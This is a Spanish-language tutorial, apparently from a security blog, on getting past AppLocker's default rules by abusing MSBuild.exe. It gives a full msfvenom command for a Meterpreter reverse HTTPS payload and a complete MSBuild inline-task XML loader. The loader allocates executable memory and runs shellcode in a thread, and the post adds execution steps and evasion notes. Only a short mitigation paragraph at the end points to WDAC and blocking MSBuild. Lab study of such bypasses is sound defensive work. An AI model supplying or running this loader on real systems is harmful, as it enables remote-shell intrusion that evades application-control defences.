AppLocker: Bypass de Reglas por Defecto con MSBuild
Table of Contents
AppLocker se ha convertido en una de las primeras líneas de defensa para restringir qué software puede ejecutarse en un entorno corporativo. Sin embargo, una implementación apresurada que confíe ciegamente en las Reglas Predeterminadas (Default Rules) puede dar una falsa sensación de seguridad.
Si un administrador configura AppLocker permitiendo todo lo firmado por Microsoft o todo lo que resida en C:\Windows\*, un usuario malintencionado podría aprovechar binarios nativos del sistema (LOLBins) para ejecutar código arbitrario. Hoy vamos a diseccionar cómo MSBuild.exe puede convertirse en nuestra puerta de entrada para una sesión de Meterpreter, evadiendo estas restricciones básicas.
🛡️ Configurando el Escenario: La Falsa Seguridad
Para entender el bypass, primero debemos replicar el entorno. En nuestro laboratorio, vamos a simular un sistema objetivo endurecido con las reglas base.
Abrimos secpol.msc y navegamos a Application Control Policies > AppLocker. Aquí, configuramos la aplicación de reglas (Enforcement) para ejecutables.
Lo crítico ocurre cuando generamos las reglas. Al seleccionar “Create Default Rules”, Windows permite automáticamente la ejecución de scripts y binarios si:
- Están firmados digitalmente por Microsoft.
- Se encuentran en
C:\Program FilesoC:\Windows.
Una vez aplicadas las políticas (gpupdate /force), si intentamos ejecutar un .exe cualquiera desde el escritorio, el sistema lo bloqueará.
🏗️ El Vector: MSBuild.exe
Aquí es donde entra en juego MSBuild (Microsoft Build Engine). Este binario es esencial para compilar aplicaciones .NET y, convenientemente, reside en una ruta de confianza:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe.
Debido a las reglas por defecto que acabamos de crear, este ejecutable tiene permiso para correr. La “magia” reside en que MSBuild acepta archivos de proyecto XML (.csproj o .xml) que pueden definir Inline Tasks; básicamente, nos permite compilar y ejecutar código C# al vuelo dentro de la memoria del proceso MSBuild, sin tocar el disco con un nuevo .exe.
💀 Weaponization: De Shellcode a XML
Primero, necesitamos nuestro payload. Generaremos un shellcode en formato C# para inyectarlo posteriormente. Usaremos una conexión reversa HTTPS para intentar mezclarnos con el tráfico web legítimo, aunque en entornos con inspección SSL profunda esto podría ser detectado.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 EXITFUNC=thread –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f csharp
Nota: EXITFUNC=thread es crucial para no colgar el proceso de MSBuild al cerrar la sesión.
Ahora, construimos nuestro archivo malicioso bypass.xml. Este archivo instruye a MSBuild para que ejecute nuestra tarea personalizada.
Nota de OpSec: MSBuild puede dejar rastros en los logs de eventos si el logging de PowerShell o de línea de comandos está activo. Además, invocar
VirtualAllocdirectamente es una firma muy buscada por los EDR modernos.
El esqueleto del XML sería el siguiente (sustituye el byte array buf con la salida de msfvenom):
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Applocker">
<Applocker />
</Target>
<UsingTask TaskName="Applocker" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class Applocker : Task, ITask
{
private static uint MEM_COMMIT = 0x1000;
private static uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32")]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
public override bool Execute()
{
// PEGA TU SHELLCODE DE MSFVENOM AQUÍ
byte[] shellcode = new byte[839] {0x48,0x31,0xc9,0x48,0x81,0xe9,....};
if (shellcode.Length <= 0) return false;
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
hThread = CreateThread(IntPtr.Zero, UIntPtr.Zero, funcAddr, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
🚀 Ejecución y Acceso
Con el archivo bypass.xml en el sistema objetivo (el usuario legítimo podría haberlo descargado pensando que era un documento inocuo o un script de configuración), procedemos a la ejecución.
No necesitamos privilegios administrativos, solo acceso a la consola o la capacidad de invocar el binario.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Users\User\Desktop\bypass.xml
Si todo ha funcionado correctamente, MSBuild compilará el código en memoria y ejecutará el hilo con nuestro shellcode. En nuestro listener de Metasploit, deberíamos ver la conexión entrante, saltándonos completamente la restricción de “No ejecutar binarios desconocidos”.
¿Por qué funciona esto?
AppLocker, en su configuración por defecto, confía en la ruta desde donde se lanza MSBuild.exe. Como el ejecutable padre (MSBuild) está permitido, y el código malicioso corre dentro de ese proceso permitido (no crea un proceso hijo nuevo que AppLocker tenga que evaluar), la política de seguridad no tiene nada que bloquear.
Mitigación
Para evitar este comportamiento, no basta con las reglas por defecto. Es necesario implementar Windows Defender Application Control (WDAC) para un control más granular o bloquear explícitamente MSBuild.exe y otros binarios de desarrollo (como InstallUtil.exe) para usuarios estándar que no los necesiten.
Nos vemos en la próxima.





